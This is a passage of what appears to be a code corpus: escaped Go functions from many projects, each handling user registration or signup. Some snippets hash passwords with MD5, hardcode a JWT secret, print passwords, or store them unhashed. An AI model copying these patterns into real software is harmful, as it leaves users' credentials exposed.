err.Error())\n\t}\n\n\t// create new user requested.\n\tuser, err := user.Model.Register(jtrace.Tracer.ContextWithSpan(ctx, span), model.User{\n\t\tUsername: req.GetUsername(),\n\t\tPassword: &password,\n\t\tName: req.GetName(),\n\t\tLastName: req.GetLastName(),\n\t\tPhone: req.GetPhone(),\n\t\tEmail: req.GetEmail(),\n\t\tBirthDate: req.GetBirthDate(),\n\t\tGender: req.GetGender().String(),\n\t\tRoleID: 2, // PROVIDER\n\t})\n\tif err != nil {\n\t\treturn &pb.Response{Message: fmt.Sprintf(\"ERROR: %s\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \"FAILED\"}}, status.Errorf(codes.Internal, \"error in store user: %s\", err.Error())\n\t}\n\n\t// create provider\n\tif err := provider.Model.Register(jtrace.Tracer.ContextWithSpan(ctx, span), model.Provider{\n\t\tUserID: user.ID,\n\t\tFixedNumber: req.GetFixedNumber(),\n\t\tCompany: req.GetCompany(),\n\t\tCard: req.GetCard(),\n\t\tCardNumber: req.GetCardNumber(),\n\t\tShebaNumber: req.GetShebaNumber(),\n\t\tAddress: req.GetAddress(),\n\t}); err != nil {\n\t\treturn &pb.Response{Message: fmt.Sprintf(\"ERROR: %s\", err.Error()), Status: &pb.Status{Code: http.StatusInternalServerError, Message: \"FAILED\"}}, status.Errorf(codes.Internal, \"error in store new provider: %s\", err.Error())\n\t}\n\n\t// return successfully message\n\treturn &pb.Response{Message: \"provider created successfully\", Status: &pb.Status{Code: http.StatusOK, Message: \"SUCCESS\"}}, nil\n}","func InsertRegister(object models.User) (string, bool, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)\n\n\t//When end instruction remove timeout operation and liberate context\n\tdefer cancel()\n\n\tdb := MongoConnection.Database(\"socialnetwork\")\n\tcollection := db.Collection(\"Users\")\n\n\t//Set password encrypted\n\tpassWordEncrypted, _ := utils.EcryptPasswordUtil(object.Password)\n\tobject.Password = passWordEncrypted\n\n\tresult, err := collection.InsertOne(ctx, object)\n\n\tif err != nil {\n\t\treturn \"\", false, err\n\t}\n\n\t//Get id of created object\n\tObjectID, _ := result.InsertedID.(primitive.ObjectID)\n\n\t//Return created object id\n\treturn ObjectID.String(), true, nil\n\n}","func (u *User) Save() error {\n\t//\tvar out bool\n\tvar err error\n\tvar hashed = make(chan []byte, 1)\n\tvar errchan = make(chan error, 1)\n\n\t/* Generate salt */\n\tgo func() {\n\t\thash, _ := crypt([]byte(u.Pass))\n\t\thashed <- hash\n\t}()\n\tu.Hash = <-hashed\n\tu.Pass = \"\" // reset to empty\n\n\t/* do low level store process on another thread */\n\tif u.Hash != nil {\n\t\tgo func() {\n\t\t\te := u.Create(u)\n\t\t\terrchan <- e\n\t\t}()\n\t}\n\n\terr = <-errchan\n\t//\tif strings.Contains(err.Error(), \"pq: duplicate key value violates unique constraint\") {\n\t//\t\terr = u.read(u.User, u)\n\t//\t}\n\n\treturn err\n}","func Register(c echo.Context) error {\n\n\tRegisterAttempt := types.RegisterAttempt{}\n\terr := c.Bind(&RegisterAttempt)\n\tif err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, map[string]string{\"result\": \"error\", \"details\": \"Error binding register attempt.\"})\n\t}\n\n\tuserCreated, err := util.NewUser(RegisterAttempt.User, RegisterAttempt.Pass, RegisterAttempt.PassCheck)\n\tif err != nil {\n\t\tmsgUser := err.Error()\n\t\treturn c.JSON(http.StatusOK, msgUser)\n\t}\n\n\tif userCreated {\n\t\tmsgUser := fmt.Sprintf(\"User %s created!\", RegisterAttempt.User)\n\t\treturn c.String(http.StatusOK, msgUser)\n\t}\n\n\tmsgUser := fmt.Sprintf(\"User already exists or passwords don't match!\")\n\treturn c.String(http.StatusOK, msgUser)\n}","func Register(w http.ResponseWriter, r *http.Request, opt router.UrlOptions, sm session.ISessionManager, s store.IStore) {\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tutils.RenderTemplate(w, r, \"register\", sm, make(map[string]interface{}))\n\n\tcase \"POST\":\n\t\tvar newUser *user.User\n\n\t\tdfc := s.GetDataSource(\"persistence\")\n\n\t\tp, ok := dfc.(persistence.IPersistance)\n\t\tif !ok {\n\t\t\tlogger.Log(\"Invalid store\")\n\t\t\treturn\n\t\t}\n\n\t\tc := p.GetCollection(\"users\")\n\n\t\tapiServer := r.PostFormValue(\"api-server\")\n\t\tusername := r.PostFormValue(\"username\")\n\t\tpassword := hash.EncryptString(r.PostFormValue(\"password\"))\n\n\t\tnewUser = &user.User{\n\t\t\tID: bson.NewObjectId(),\n\t\t\tUsername: username,\n\t\t\tPassword: password,\n\t\t\tAPIServerIP: apiServer,\n\t\t}\n\n\t\terr := c.Insert(newUser)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\tlogger.Log(\"Error registering user '\" + username + \"'\")\n\t\t\treturn\n\t\t}\n\t\tlogger.Log(\"Registered user '\" + username + \"'\")\n\n\t\tlogger.Log(\"Registering user in API server \" + apiServer)\n\t\tform := url.Values{}\n\t\tform.Add(\"username\", username)\n\t\tform.Add(\"password\", password)\n\n\t\tregisterURL := \"http://\" + apiServer + \":\" + os.Getenv(\"SH_API_SRV_PORT\") + \"/login/register\"\n\t\t_, err = http.PostForm(registerURL, form)\n\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\tlogger.Log(\"Error registering user in endpoint \" + registerURL)\n\t\t}\n\n\t\thttp.Redirect(w, r, \"/\", http.StatusSeeOther)\n\tdefault:\n\t}\n}","func (rsh *routeServiceHandler) Register(w http.ResponseWriter, r *http.Request) {\n\n\tuser := &models.User{}\n\terr := json.NewDecoder(r.Body).Decode(user)\n\tif err != nil {\n\t\tsendResponse(w, r, StatusError, err.Error(), nil)\n\t\treturn\n\t}\n\n\tpass, err := bcrypt.GenerateFromPassword([]byte(user.Password), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tsendResponse(w, r, StatusError, err.Error(), nil)\n\t\treturn\n\t}\n\n\tuser.Password = string(pass)\n\n\tcreatedUser, err := rsh.ctlr.Register(*user)\n\tif err != nil {\n\t\tsendResponse(w, r, StatusError, err.Error(), createdUser)\n\t\treturn\n\t}\n\n\tsendResponse(w, r, StatusSuccess, \"\", createdUser)\n\treturn\n}","func Register(context *gin.Context) {\n\tvar requestBody models.UserReq\n\tif context.ShouldBind(&requestBody) == nil {\n\t\tvalidCheck := validation.Validation{}\n\t\tvalidCheck.Required(requestBody.UserName, \"user_name\").Message(\"Must have user name\")\n\t\tvalidCheck.MaxSize(requestBody.UserName, 16, \"user_name\").Message(\"User name length can not exceed 16\")\n\t\tvalidCheck.MinSize(requestBody.UserName, 6, \"user_name\").Message(\"User name length is at least 6\")\n\t\tvalidCheck.Required(requestBody.Password, \"password\").Message(\"Must have password\")\n\t\tvalidCheck.MaxSize(requestBody.Password, 16, \"password\").Message(\"Password length can not exceed 16\")\n\t\tvalidCheck.MinSize(requestBody.Password, 6, \"password\").Message(\"Password length is at least 6\")\n\t\tvalidCheck.Required(requestBody.Email, \"email\").Message(\"Must have email\")\n\t\tvalidCheck.MaxSize(requestBody.Email, 128, \"email\").Message(\"Email can not exceed 128 chars\")\n\n\t\tresponseCode := constant.INVALID_PARAMS\n\t\tif !validCheck.HasErrors() {\n\t\t\tuserEntity := models.UserReq2User(requestBody)\n\t\t\tif err := models.InsertUser(userEntity); err == nil {\n\t\t\t\tresponseCode = constant.USER_ADD_SUCCESS\n\t\t\t} else {\n\t\t\t\tresponseCode = constant.USER_ALREADY_EXIST\n\t\t\t}\n\t\t} else {\n\t\t\tfor _, err := range validCheck.Errors {\n\t\t\t\tlog.Println(err)\n\t\t\t}\n\t\t}\n\n\t\tcontext.JSON(http.StatusOK, gin.H{\n\t\t\t\"code\": responseCode,\n\t\t\t\"data\": \"\",\n\t\t\t\"msg\": constant.GetMessage(responseCode),\n\t\t})\n\t} else {\n\t\tcontext.JSON(http.StatusOK, gin.H{\n\t\t\t\"code\": 200,\n\t\t\t\"data\": \"\",\n\t\t\t\"msg\": \"添加失败,参数有误\",\n\t\t})\n\t}\n}","func RegisterUser(serverURI, username, password, email string) {\n\tregisterUserBody := struct {\n\t\tUsername string `json:\"username\"`\n\t\tPassword string `json:\"password\"`\n\t\tEmail string `json:\"email\"`\n\t\tConfirmPassword string `json:\"confirmPassword\"`\n\t}{\n\t\tusername,\n\t\tpassword,\n\t\temail,\n\t\tpassword,\n\t}\n\tdata, merr := json.Marshal(registerUserBody)\n\tif merr != nil {\n\t\tΩ(merr).ShouldNot(HaveOccurred())\n\t}\n\n\tres, err := http.Post(serverURI+\"/v3/user/auth/local/register\", \"application/json\", bytes.NewBuffer(data))\n\tΩ(err).ShouldNot(HaveOccurred())\n\tΩ(res.StatusCode).ShouldNot(BeNumerically(\">=\", 300))\n}","func (u *User) PostRegister(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tw.Header().Set(\"Cache-Control\", \"no-store\")\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Header().Set(\"Pragma\", \"no-cache\")\n\n\t// TODO: Implement this.\n\t// sess, ok := r.Context(entity.ContextKeySession).(*session.Session)\n\t// if ok {\n\t// http.Redirect(w, r, \"/\", http.StatusFound)\n\t// return\n\t// }\n\n\t// if ok := u.session.HasSession(r); ok {\n\t// http.Redirect(w, r, \"/\", http.StatusFound)\n\t// return\n\t// }\n\n\tvar req Credentials\n\tif err := json.NewDecoder(r.Body).Decode(&req); err != nil {\n\t\twriteError(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tuser, err := u.service.Register(req.Email, req.Password)\n\tif err != nil {\n\t\twriteError(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tprovideToken := func(userid string) (string, error) {\n\t\tvar (\n\t\t\taud = \"https://server.example.com/register\"\n\t\t\tsub = userid\n\t\t\tiss = userid\n\t\t\tiat = time.Now().UTC()\n\t\t\texp = iat.Add(2 * time.Hour)\n\n\t\t\tkey = []byte(\"access_token_secret\")\n\t\t)\n\t\tclaims := crypto.NewStandardClaims(aud, sub, iss, iat.Unix(), exp.Unix())\n\t\treturn crypto.NewJWT(key, claims)\n\t}\n\n\taccessToken, err := provideToken(user.ID)\n\tif err != nil {\n\t\twriteError(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tu.session.SetSession(w, user.ID)\n\n\tw.WriteHeader(http.StatusOK)\n\tjson.NewEncoder(w).Encode(M{\n\t\t\"access_token\": accessToken,\n\t})\n}","func (s *Server) RegisterService(ctx context.Context, req *authpb.RegisterRequest) (*authpb.RegisterResponse, error) {\n\tlog.Printf(\"Registering user with email %s \\n\", req.GetEmail())\n\tuser := user.User{\n\t\tEmail: req.GetEmail(),\n\t\tFullname: req.GetFullname(),\n\t\tPassword: req.GetPassword(),\n\t}\n\n\tif user.Email == \"\" || user.Fullname == \"\" || user.Password == \"\" {\n\t\treturn nil, status.Errorf(\n\t\t\tcodes.InvalidArgument,\n\t\t\t\"Fullname, Email, and Password Is Required!\",\n\t\t)\n\t}\n\n\tu, _ := s.Manager.FindOne(user.Email)\n\tif u != nil {\n\t\treturn nil, status.Errorf(\n\t\t\tcodes.AlreadyExists,\n\t\t\tfmt.Sprintf(\"User with email %s already exist\", user.Email),\n\t\t)\n\t}\n\n\t_ = s.Manager.Register(user)\n\ttoken := s.Token.Generate(&user)\n\n\tlog.Println(\"Success registering new user with email:\", user.Email)\n\treturn &authpb.RegisterResponse{\n\t\tMessage: \"Register success\",\n\t\tAccessToken: token,\n\t}, nil\n}","func (m *Manager) RegisterUser(username string, password string) bool {\n\t_, found := m.users[username]\n\tif !found {\n\t\tpwd := m.getSaltedHashedPassword(password)\n\t\tm.users[username] = credentials{username: username, password: pwd}\n\t\tlog.Printf(\"Registering: %s\", username)\n\t\treturn true\n\t}\n\tlog.Printf(\"User already exists: %s\", username)\n\treturn false\n}","func RegistrationPage(w http.ResponseWriter, r *http.Request) {\n var flag bool\n var details helpers.User\n var targettmpl string\n w.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n userDetails := getSession(r)\n \n if (len(userDetails.FirstName) <= 0 && userDetails.Role == \"Admin\" ) {\n w.Write([]byte(\"\"))\n }\n\n if (userDetails.Role == \"Admin\" || userDetails.Role == \"admin\"){ \n targettmpl = \"templates/registrationPage.html\" \n }else{\n targettmpl = \"templates/registrationUser.html\" \n }\n\n t := template.Must(template.ParseFiles(targettmpl))\n\n if r.Method != http.MethodPost {\n t.Execute(w, nil)\n return\n }\n \n\n details = helpers.User{\n UserId: r.FormValue(\"userid\"),\n FirstName: r.FormValue(\"fname\"),\n LastName: r.FormValue(\"lname\"),\n Email: r.FormValue(\"email\"),\n Password: r.FormValue(\"pwd\"),\n Role: r.FormValue(\"role\"),\n ManagerID : \"unassigned\",\n }\n \n if details.Role ==\"\" {\n details.Role = \"User\" \n }\n \n msg := dbquery.CheckDuplicateEmail(details.Email)\n\n details.Password, _ = HashPassword(details.Password)\n\n if msg == \"\"{\n fmt.Println(\" **** Inserting a record ****\")\n flag = dbquery.RegisterUser(details)\n } \n\n t.Execute(w, Allinfo{EmailId: details.Email, IssueMsg: msg, SuccessFlag: flag} )\n}","func AcceptRegisterUser(w http.ResponseWriter, r *http.Request) {\n\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Grab url path variables\n\turlVars := mux.Vars(r)\n\tregUUID := urlVars[\"uuid\"]\n\n\t// Grab context references\n\trefStr := gorillaContext.Get(r, \"str\").(stores.Store)\n\trefUserUUID := gorillaContext.Get(r, \"auth_user_uuid\").(string)\n\n\tru, err := auth.FindUserRegistration(regUUID, auth.PendingRegistrationStatus, refStr)\n\tif err != nil {\n\n\t\tif err.Error() == \"not found\" {\n\t\t\terr := APIErrorNotFound(\"User registration\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\tuserUUID := uuid.NewV4().String() // generate a new userUUID to attach to the new project\n\ttoken, err := auth.GenToken() // generate a new user token\n\tcreated := time.Now().UTC()\n\t// Get Result Object\n\tres, err := auth.CreateUser(userUUID, ru.Name, ru.FirstName, ru.LastName, ru.Organization, ru.Description,\n\t\t[]auth.ProjectRoles{}, token, ru.Email, []string{}, created, refUserUUID, refStr)\n\n\tif err != nil {\n\t\tif err.Error() == \"exists\" {\n\t\t\terr := APIErrorConflict(\"User\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// update the registration\n\terr = auth.UpdateUserRegistration(regUUID, auth.AcceptedRegistrationStatus, refUserUUID, created, refStr)\n\tif err != nil {\n\t\tlog.Errorf(\"Could not update registration, %v\", err.Error())\n\t}\n\n\t// Output result to JSON\n\tresJSON, err := res.ExportJSON()\n\tif err != nil {\n\t\terr := APIErrExportJSON()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Write response\n\trespondOK(w, []byte(resJSON))\n}","func handleSignUp(w http.ResponseWriter, r *http.Request) {\n\tif parseFormErr := r.ParseForm(); parseFormErr != nil {\n\t\thttp.Error(w, \"Sent invalid form\", 400)\n\t}\n\n\tname := r.FormValue(\"name\")\n\tuserHandle := r.FormValue(\"userHandle\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\n\tif !verifyUserHandle(userHandle) {\n\t\thttp.Error(w, \"Invalid userHandle\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif !verifyEmail(email) {\n\t\thttp.Error(w, \"Invalid email\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tif !verifyPassword(password) {\n\t\thttp.Error(w, \"Password does not meet complexity requirements\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\thashed, _ := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\n\turChannel := make(chan *database.InsertResponse)\n\tgo createUser(\n\t\tmodel.User{Name: name, UserHandle: userHandle, Email: email, Password: hashed},\n\t\turChannel,\n\t)\n\tcreatedUser := <-urChannel\n\n\tif createdUser.Err != nil {\n\t\tlog.Println(createdUser.Err)\n\n\t\tif strings.Contains(createdUser.Err.Error(), \"E11000\") {\n\t\t\tif strings.Contains(createdUser.Err.Error(), \"index: userHandle_1\") {\n\t\t\t\thttp.Error(w, \"Userhandle \"+userHandle+\" already registered\", http.StatusConflict)\n\t\t\t} else {\n\t\t\t\thttp.Error(w, \"Email \"+email+\" already registered\", http.StatusConflict)\n\t\t\t}\n\t\t} else {\n\t\t\tcommon.SendInternalServerError(w)\n\t\t}\n\n\t} else {\n\t\tlog.Println(\"Created user with ID \" + createdUser.ID)\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, wError := w.Write([]byte(\"Created user with ID \" + createdUser.ID))\n\n\t\tif wError != nil {\n\t\t\tlog.Println(\"Error while writing: \" + wError.Error())\n\t\t}\n\t}\n\n}","func Registration(c echo.Context) error {\n\tu := new(models.User)\n\tif err := c.Bind(u); err != nil {\n\t\treturn c.JSON(http.StatusBadRequest, err.Error())\n\t}\n\t// encrypt password\n\tpassword, err := utils.EncryptPassword(os.Getenv(\"SALT\"), c.FormValue(\"password\"))\n\n\tif err != nil {\n\t\treturn c.JSON(http.StatusInternalServerError, err)\n\t}\n\n\tu.Password = password\n\n\tfmt.Println(password)\n\n\tif res := db.DBCon.Create(u); res.Error != nil {\n\t\treturn c.JSON(http.StatusBadRequest, res.Error)\n\t}\n\treturn c.JSON(http.StatusCreated, u)\n}","func (u *UserController) CreateUser(c *gin.Context) {\n var user models.UserRegister\n if err := c.ShouldBind(&user); err != nil {\n util.ErrorJSON(c, http.StatusBadRequest, \"Inavlid Json Provided\")\n return\n }\n\n hashPassword, _ := util.HashPassword(user.Password)\n user.Password = hashPassword\n\n err := u.service.CreateUser(user)\n if err != nil {\n util.ErrorJSON(c, http.StatusBadRequest, \"Failed to create user\")\n return\n }\n\n util.SuccessJSON(c, http.StatusOK, \"Successfully Created user\")\n}","func (s *Service) Register(user User) error {\n\tpassword := user.Password\n\tencrypted, err := s.encrypt.Encrypt(password)\n\tif err != nil {\n\t\tlog.Errorf(\"Password encryption failed: %s\", err)\n\t\treturn ErrCouldNotEncryptPassword\n\t}\n\tuser.Password = encrypted\n\ts.store.SaveUser(user)\n\treturn nil\n}","func signup(w http.ResponseWriter, r *http.Request) {\n\n\tif r.Method != \"POST\" {\n\n\t\tvar data = map[string]interface{}{\n\t\t\t\"Title\": \"Sign Up\",\n\t\t}\n\n\t\terr := templates.ExecuteTemplate(w, \"signup.html\", data)\n\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t}\n\t\treturn\n\n\t}\n\n\t// Define user registration info.\n\tusername := r.FormValue(\"username\")\n\tnickname := r.FormValue(\"nickname\")\n\tavatar := r.FormValue(\"avatar\")\n\temail := r.FormValue(\"email\")\n\tpassword := r.FormValue(\"password\")\n\tip := r.Header.Get(\"X-Forwarded-For\")\n\tlevel := \"0\"\n\trole := \"0\"\n\tlast_seen := time.Now()\n\tcolor := \"\"\n\tyeah_notifications := \"1\"\n\n\tusers := QueryUser(username)\n\n\tif (user{}) == users {\n\t\tif len(username) > 32 || len(username) < 3 {\n\t\t\thttp.Error(w, \"invalid username length sorry br0o0o0o0o0o0\", http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\n\t\t// Let's hash the password. We're using bcrypt for this.\n\t\thashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\n\n\t\tif len(hashedPassword) != 0 && checkErr(w, r, err) {\n\n\t\t\t// Prepare the statement.\n\t\t\tstmt, err := db.Prepare(\"INSERT users SET username=?, nickname=?, avatar=?, email=?, password=?, ip=?, level=?, role=?, last_seen=?, color=?, yeah_notifications=?\")\n\t\t\tif err == nil {\n\n\t\t\t\t// If there's no errors, we can go ahead and execute the statement.\n\t\t\t\t_, err := stmt.Exec(&username, &nickname, &avatar, &email, &hashedPassword, &ip, &level, &role, &last_seen, &color, &yeah_notifications)\n\t\t\t\tif err != nil {\n\n\t\t\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\t\t\treturn\n\n\t\t\t\t}\n\t\t\t\tusers := QueryUser(username)\n\n\t\t\t\tuser := users.ID\n\t\t\t\tcreated_at := time.Now()\n\t\t\t\tnnid := \"\"\n\t\t\t\tgender := 0\n\t\t\t\tregion := \"\" // ooh what if we replace this with a country from a GeoIP later????????????????\n\t\t\t\tcomment := \"\"\n\t\t\t\tnnid_visibility := 1\n\t\t\t\tyeah_visibility := 1\n\t\t\t\treply_visibility := 0\n\n\t\t\t\tstmt, err := db.Prepare(\"INSERT profiles SET user=?, created_at=?, nnid=?, gender=?, region=?, comment=?, nnid_visibility=?, yeah_visibility=?, reply_visibility=?\")\n\t\t\t\tif err != nil {\n\t\t\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\t_, err = stmt.Exec(&user, &created_at, &nnid, &gender, &region, &comment, &nnid_visibility, &yeah_visibility, &reply_visibility)\n\t\t\t\tif err != nil {\n\t\t\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tsession := sessions.Start(w, r)\n\t\t\t\tsession.Set(\"username\", users.Username)\n\t\t\t\tsession.Set(\"user_id\", users.ID)\n\t\t\t\thttp.Redirect(w, r, \"/\", 302)\n\n\t\t\t}\n\n\t\t} else {\n\n\t\t\thttp.Redirect(w, r, \"/signup\", 302)\n\n\t\t}\n\n\t}\n\n}","func (c *Config) CreateUser(w http.ResponseWriter, r *http.Request) {\n\top := errors.Op(\"handler.CreateUser\")\n\tctx := r.Context()\n\n\tvar payload createUserPayload\n\tif err := bjson.ReadJSON(&payload, r); err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\tif err := valid.Raw(&payload); err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\t// Make sure the user is not already registered\n\tfoundUser, found, err := c.UserStore.GetUserByEmail(ctx, payload.Email)\n\tif err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t} else if found {\n\t\tif !foundUser.IsPasswordSet && !foundUser.IsGoogleLinked && !foundUser.IsFacebookLinked {\n\t\t\t// The email is registered but the user has not setup their account.\n\t\t\t// In order to make sure the requestor is who they say thay are and is not\n\t\t\t// trying to gain access to someone else's identity, we lock the account and\n\t\t\t// require that the email be verified before the user can get access.\n\t\t\tfoundUser.FirstName = payload.FirstName\n\t\t\tfoundUser.LastName = payload.LastName\n\t\t\tfoundUser.IsLocked = true\n\n\t\t\tif err := c.Mail.SendPasswordResetEmail(\n\t\t\t\tfoundUser,\n\t\t\t\tfoundUser.GetPasswordResetMagicLink(c.Magic)); err != nil {\n\t\t\t\tbjson.HandleError(w, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif err := c.UserStore.Commit(ctx, foundUser); err != nil {\n\t\t\t\tbjson.HandleError(w, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tbjson.WriteJSON(w, map[string]string{\n\t\t\t\t\"message\": \"Please verify your email to proceed\",\n\t\t\t}, http.StatusOK)\n\t\t\treturn\n\t\t}\n\n\t\tbjson.HandleError(w, errors.E(op,\n\t\t\terrors.Str(\"already registered\"),\n\t\t\tmap[string]string{\"message\": \"This email has already been registered\"},\n\t\t\thttp.StatusBadRequest))\n\t\treturn\n\t}\n\n\t// Create the user object\n\tuser, err := model.NewUserWithPassword(\n\t\tpayload.Email,\n\t\tpayload.FirstName,\n\t\tpayload.LastName,\n\t\tpayload.Password)\n\tif err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\t// Save the user object\n\tif err := c.UserStore.Commit(ctx, user); err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\terr = c.Mail.SendVerifyEmail(user, user.Email, user.GetVerifyEmailMagicLink(c.Magic, user.Email))\n\tif err != nil {\n\t\tbjson.HandleError(w, err)\n\t\treturn\n\t}\n\n\tif err := c.Welcome.Welcome(ctx, c.ThreadStore, c.Storage, user); err != nil {\n\t\tlog.Alarm(err)\n\t}\n\n\tbjson.WriteJSON(w, user, http.StatusCreated)\n}","func Register(db *gorm.DB, ctx echo.Context, username, email, password string) (*User, error) {\n\treqTimeSec, err := strconv.ParseInt(ctx.Request().Header.Get(\"REQUEST_TIME\"), 10, 64)\n\treqTime := time.Now()\n\tif err == nil {\n\t\treqTime = time.Unix(reqTimeSec, 0)\n\t}\n\n\tip := web.IP(ctx)\n\tlocation := web.Location(ctx, ip)\n\n\tu := &User{\n\t\tUsername: username,\n\t\tEmail: email,\n\t\tPassword: password,\n\t\tCreateIP: ip,\n\t\tCreateLocation: location,\n\t\tLastLoginTime: uint64(reqTime.Unix()),\n\t\tLastLoginIP: ip,\n\t\tLastLoginLocation: location,\n\t}\n\n\terr = db.Save(u).Error\n\treturn u, err\n}","func (ut *RegisterPayload) Validate() (err error) {\n\tif ut.Email == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \"email\"))\n\t}\n\tif ut.Password == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \"password\"))\n\t}\n\tif ut.FirstName == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \"first_name\"))\n\t}\n\tif ut.LastName == \"\" {\n\t\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \"last_name\"))\n\t}\n\tif err2 := goa.ValidateFormat(goa.FormatEmail, ut.Email); err2 != nil {\n\t\terr = goa.MergeErrors(err, goa.InvalidFormatError(`type.email`, ut.Email, goa.FormatEmail, err2))\n\t}\n\tif utf8.RuneCountInString(ut.Email) < 6 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.email`, ut.Email, utf8.RuneCountInString(ut.Email), 6, true))\n\t}\n\tif utf8.RuneCountInString(ut.Email) > 150 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.email`, ut.Email, utf8.RuneCountInString(ut.Email), 150, false))\n\t}\n\tif utf8.RuneCountInString(ut.FirstName) < 1 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.first_name`, ut.FirstName, utf8.RuneCountInString(ut.FirstName), 1, true))\n\t}\n\tif utf8.RuneCountInString(ut.FirstName) > 200 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.first_name`, ut.FirstName, utf8.RuneCountInString(ut.FirstName), 200, false))\n\t}\n\tif utf8.RuneCountInString(ut.LastName) < 1 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.last_name`, ut.LastName, utf8.RuneCountInString(ut.LastName), 1, true))\n\t}\n\tif utf8.RuneCountInString(ut.LastName) > 200 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.last_name`, ut.LastName, utf8.RuneCountInString(ut.LastName), 200, false))\n\t}\n\tif utf8.RuneCountInString(ut.Password) < 5 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.password`, ut.Password, utf8.RuneCountInString(ut.Password), 5, true))\n\t}\n\tif utf8.RuneCountInString(ut.Password) > 100 {\n\t\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.password`, ut.Password, utf8.RuneCountInString(ut.Password), 100, false))\n\t}\n\treturn\n}","func Register(ctx echo.Context) error {\n\treq := new(registerRequest)\n\tif err := ctx.Bind(req); err != nil {\n\t\treturn err\n\t}\n\tuser := User{Username: req.Username, Password: md5Pwd(req.Password), Type: req.Type}\n\terr := db.Model(&User{}).First(&user, &User{Username: req.Username}).Error\n\tif err == gorm.ErrRecordNotFound {\n\t\te := db.Create(&user).Error\n\t\tif e == nil {\n\t\t\tctx.SetCookie(&http.Cookie{Name: cookieKey, Value: user.Base.ID.String()})\n\t\t\treturn ctx.JSON(http.StatusOK, &response{\n\t\t\t\tCode: 0,\n\t\t\t\tMsg: \"\",\n\t\t\t\tData: registerResponse{\n\t\t\t\t\tUsername: user.Username,\n\t\t\t\t\tType: user.Type,\n\t\t\t\t\tID: user.Base.ID,\n\t\t\t\t},\n\t\t\t})\n\t\t}\n\t\treturn e\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tres := &response{\n\t\tCode: 1,\n\t\tMsg: \"User name has been taken\",\n\t}\n\treturn ctx.JSON(http.StatusBadRequest, res)\n}","func (p *PasswordStruct) Save() error {\n\terr := ioutil.WriteFile(path, p.hash, 0700)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (s *Signup) Save(db XODB) error {\n\tif s.Exists() {\n\t\treturn s.Update(db)\n\t}\n\n\treturn s.Insert(db)\n}","func (ar *Router) RegisterWithPassword() http.HandlerFunc {\n\n\ttype registrationData struct {\n\t\tUsername string `json:\"username,omitempty\" validate:\"required,gte=6,lte=50\"`\n\t\tPassword string `json:\"password,omitempty\" validate:\"required,gte=7,lte=50\"`\n\t\tProfile map[string]interface{} `json:\"user_profile,omitempty\"`\n\t\tScope []string `json:\"scope,omitempty\"`\n\t}\n\n\ttype registrationResponse struct {\n\t\tAccessToken string `json:\"access_token,omitempty\"`\n\t\tRefreshToken string `json:\"refresh_token,omitempty\"`\n\t\tUser model.User `json:\"user,omitempty\"`\n\t}\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\t//parse data\n\t\td := 